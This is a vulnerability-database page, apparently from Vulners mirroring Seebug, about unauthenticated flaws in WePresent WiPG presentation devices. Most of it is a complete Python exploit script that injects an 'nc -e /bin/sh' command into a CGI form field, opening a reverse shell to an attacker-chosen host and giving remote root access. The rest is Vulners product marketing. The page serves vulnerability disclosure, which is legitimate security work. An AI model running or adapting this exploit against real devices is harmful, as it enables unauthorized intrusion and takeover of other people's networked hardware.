Lucene search
K

Multiple vulnerabilities in WePresent WiPG devices

🗓️ 04 Jul 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 51 Views

Multiple vulnerabilities in WePresent WiPG devices, affecting WiPG-1000, WiPG-1500, and WiPG-2000, allow unauthenticated access to web interface and privilege escalation

Code

                                                #!/usr/bin/python2
# coding: utf-8
# Title: WiPG-2000 Remote Root Exploit
# Reference: https://www.redguard.ch/advisories/wepresent-wipg1000.txt
# Author: Darren Martyn
# Date: 12-06-2017
# Version: 1.1
import requests
import sys

def get_shell(target, cbhost, cbport):
    command_inject = "test`nc %s %s -e /bin/sh`" %(cbhost, cbport)
    url = "%s/cgi-bin/rdfs.cgi?lang=varLang&src=varSrc&varSEID" %(target)
    data = {"Client": command_inject}
    try:
        print "popping shell. request WILL hang while this happens. \nHope you have a listener for the shell ready..."
        r = requests.post(url=url, data=data)
    except Exception, e:
        print e
        sys.exit("request failed or timed out or whatever.")
    print "hope you enjoyed your shell!"

def main(args):
    if len(args) != 4:
        sys.exit("use: %s http://target cbhost cbport" %(args[0]))
    get_shell(target=args[1], cbhost=args[2], cbport=args[3])

if __name__ == "__main__":
    main(args=sys.argv)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation